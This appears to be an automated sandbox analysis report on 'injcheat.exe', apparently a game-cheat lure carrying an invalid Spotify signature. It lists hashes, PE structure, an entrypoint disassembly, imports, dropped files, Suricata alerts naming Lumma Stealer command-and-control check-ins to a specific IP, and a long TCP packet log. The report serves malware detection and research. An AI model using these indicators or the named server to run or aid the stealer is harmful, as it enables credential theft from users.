Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="532546" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.420174912553481
Encrypted:	false
SSDEEP:	6144:tcifpi6ceLPL9skLmb0mHSWSPtaJG8nAgex285i2MMhA20X4WABlGuNi5+:6i58HSWIZBk2MM6AFB0o
MD5:	8C4E906825F7D23AA6A20838D28422AF
SHA1:	C0D939CF84481049952D71FBA51214E2CED76DFC
SHA-256:	58375B62740EBD3D943256B5BFCFBDD0FBEC5A482F4CB602BD43D9AF0021F2A6
SHA-512:	6D52175C22DF3D94F06E6CDE0D48E53F89DFB8732C797F69ADF4187F35E1422DE9B06BCC328D0EB9BEDE9901880BB22200572F3C73A1111DD7E2C45E2E98CFE4
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...s..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.730643031149591
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	injcheat.exe
File size:	561'016 bytes
MD5:	46f8135073242f0382b575b73c992aa6
SHA1:	5950633f369b87a751094c88a52bf2672cd89779
SHA256:	3f58ce78300acd111096a6460f57d607790497a21d59712a4da368c714c344e6
SHA512:	ef2f3f1951b0e6037c4039d6ec3bc8053143f358d306090f86b726730b363c9b0bdf0234e50958a5aea26c29ced759184e131e61d31b0524d1a55db169d2770b
SSDEEP:	12288:SaDKtlm+gJQ7HJPSarAIpY80DieUCgM8Hhkb6ZK/K7pSsN9Iii:SaAlmiJPSaA91UCgM8HCRK7MsY7
TLSH:	B2C4F152B4C08072D973293206E4DAB56F3EB9704BA54DCF63A40F7E4F702D2A72566B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>A.zmA.zmA.zm..ylM.zm...l..zm..~lT.zmQ)ylU.zmQ)~lS.zm..{lD.zmA.{m..zmQ).l..zm.(sl@.zm.(.m@.zm.(xl@.zmRichA.zm........PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406ca5
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6702885D [Sun Oct 6 12:53:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	efafb90d4d1169ff1c7527332b5b6cbe

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	22/09/2022 02:00:00 20/10/2023 01:59:59
Subject Chain	CN=Spotify AB, O=Spotify AB, L=Stockholm, C=SE, SERIALNUMBER=5567037485, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=SE
Version:	3
Thumbprint MD5:	EF8873EED657F2DFE432077ADBAB8AFB
Thumbprint SHA-1:	3F76C6CC576963831FF44303BFCB98113C51C95E
Thumbprint SHA-256:	890C79F427B0C07DEF096FF66A402E9337F0F2D80DACA1256A7F572F7720DBAA
Serial:	04C530703A210EC1D6F83CB4FE1118C5

Entrypoint Preview

Instruction
call 00007F480142DE5Dh
jmp 00007F480142D3BFh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F480142D55Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F480142D54Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F480142D54Eh
add edx, 28h
cmp edx, esi
jne 00007F480142D52Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F480142D53Bh
push esi
call 00007F480142E171h
test eax, eax
je 00007F480142D562h
mov eax, dword ptr fs:[00000018h]
mov esi, 0048576Ch
mov edx, dword ptr [eax+04h]
jmp 00007F480142D546h
cmp edx, eax
je 00007F480142D552h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F480142D532h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F480142D549h
mov byte ptr [00485770h], 00000001h
call 00007F480142D807h
call 00007F4801430724h
test al, al
jne 00007F480142D546h
xor al, al
pop ebp
ret
call 00007F4801439186h
test al, al
jne 00007F480142D54Ch
push 00000000h
call 00007F480143072Bh
pop ecx
jmp 00007F480142D52Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00485771h], 00000000h
je 00007F480142D546h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b6c0	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x87000	0x1d5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x86600	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x88000	0x1ac4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x29bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x29b00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x134	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20e40	0x21000	82ce0f3a7cdbbcced32376743bb8bc6c	False	0.584524443655303	data	6.6515027635750785	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0x9db4	0x9e00	b74fe14a95655d80a18688bf8f9fb62d	False	0.4365110759493671	data	4.968815614362879	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0x5a398	0x59600	ef87e91b9202b8da273c2cd489f6cf22	False	0.9912341564685314	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.99219002175276	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x87000	0x1d5	0x200	294c8360e236b29b92f4383e45969db5	False	0.525390625	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x88000	0x1ac4	0x1c00	502718172a50691ad0e4f7adb26e8735	False	0.7290736607142857	data	6.402249273846131	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x87058	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

USER32.dll

CallWindowProcW, CallWindowProcA

KERNEL32.dll

LoadLibraryExW, CreateFileW, HeapSize, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, ReadConsoleW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, WriteConsoleW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T06:44:12.415251+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49704	188.114.96.3	443	TCP
2024-10-07T06:44:12.415251+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49704	188.114.96.3	443	TCP
2024-10-07T06:44:13.330251+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49706	188.114.96.3	443	TCP
2024-10-07T06:44:13.330251+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49706	188.114.96.3	443	TCP
2024-10-07T06:44:14.302441+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49707	188.114.96.3	443	TCP
2024-10-07T06:44:14.302441+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49707	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 06:44:05.677809954 CEST	49674	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:05.678807974 CEST	49675	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:05.692085981 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 06:44:05.834093094 CEST	49672	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:06.068458080 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 06:44:06.474658012 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 7, 2024 06:44:06.818413019 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 06:44:08.318553925 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 06:44:11.210561037 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:11.210621119 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:11.210700035 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:11.213536978 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:11.213560104 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:11.302781105 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 06:44:11.675961971 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:11.676059961 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:11.689526081 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:11.689579010 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:11.689820051 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:11.740269899 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:11.830588102 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:11.830615997 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:11.830703974 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:12.415247917 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:12.415334940 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:12.415478945 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:12.421402931 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:12.421458006 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:12.421492100 CEST	49704	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:12.421506882 CEST	443	49704	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:12.720927954 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:12.720952988 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:12.721033096 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:12.722048998 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:12.722065926 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.203212023 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.203275919 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.206454039 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.206463099 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.206809998 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.208020926 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.208045006 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.208143950 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.330316067 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.330419064 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.330468893 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.330482006 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.330583096 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.330622911 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.330627918 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.330786943 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.330852032 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.330929041 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.330941916 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.330976009 CEST	49706	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.330981016 CEST	443	49706	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.398647070 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.398734093 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.398818970 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.400279045 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.400314093 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.503225088 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:13.503264904 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:13.503324986 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:13.503587961 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:13.503604889 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:13.866610050 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.866705894 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.868489981 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.868520021 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.868948936 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:13.870326042 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.870363951 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:13.870434046 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:14.264436960 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.264568090 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.266335964 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.266346931 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.266696930 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.278984070 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.302575111 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:14.302798986 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:14.303046942 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:14.303222895 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:14.303272963 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:14.303308010 CEST	49707	443	192.168.2.7	188.114.96.3
Oct 7, 2024 06:44:14.303324938 CEST	443	49707	188.114.96.3	192.168.2.7
Oct 7, 2024 06:44:14.319403887 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.386301994 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.386375904 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.386420012 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.386440992 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.386457920 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.386483908 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.386503935 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.474313021 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.474349022 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.474406004 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.474421024 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.474450111 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.474458933 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.476150036 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.476186037 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.476237059 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.476246119 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.476300001 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.476315022 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.567142010 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.567176104 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.567238092 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.567260981 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.567280054 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.567363977 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.567920923 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.567946911 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.567975998 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.567984104 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.568022013 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.568698883 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.568721056 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.568766117 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.568773985 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.568804979 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.568813086 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.569724083 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.569746971 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.569817066 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.569825888 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.569863081 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.569871902 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.658380032 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.658411980 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.658478022 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.658514023 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.658539057 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.658631086 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.659270048 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.659312963 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.659332991 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.659347057 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.659410000 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.659410000 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.659657955 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.659699917 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.659735918 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.659748077 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.659778118 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.659805059 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.660552025 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.660592079 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.660624981 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.660641909 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.660665035 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.660686970 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.661427021 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.661446095 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.661498070 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.661508083 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.661545038 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.661562920 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.662218094 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.662235975 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.662283897 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.662291050 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.662321091 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.662321091 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.662338018 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.662344933 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.662390947 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.662420988 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.662463903 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.662986040 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.663003922 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.663044930 CEST	49708	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.663052082 CEST	443	49708	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.732815027 CEST	49711	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.732877970 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.732944012 CEST	49711	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.734219074 CEST	49712	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.734267950 CEST	443	49712	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.734324932 CEST	49712	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.736603975 CEST	49713	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.736654997 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.736884117 CEST	49713	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.739290953 CEST	49714	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.739304066 CEST	443	49714	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.739579916 CEST	49714	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.740926981 CEST	49711	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.740947962 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.741039991 CEST	49712	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.741069078 CEST	443	49712	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.741812944 CEST	49713	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.741825104 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.742172003 CEST	49714	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.742218971 CEST	443	49714	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.742532969 CEST	49715	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.742559910 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:14.742625952 CEST	49715	443	192.168.2.7	13.107.246.60
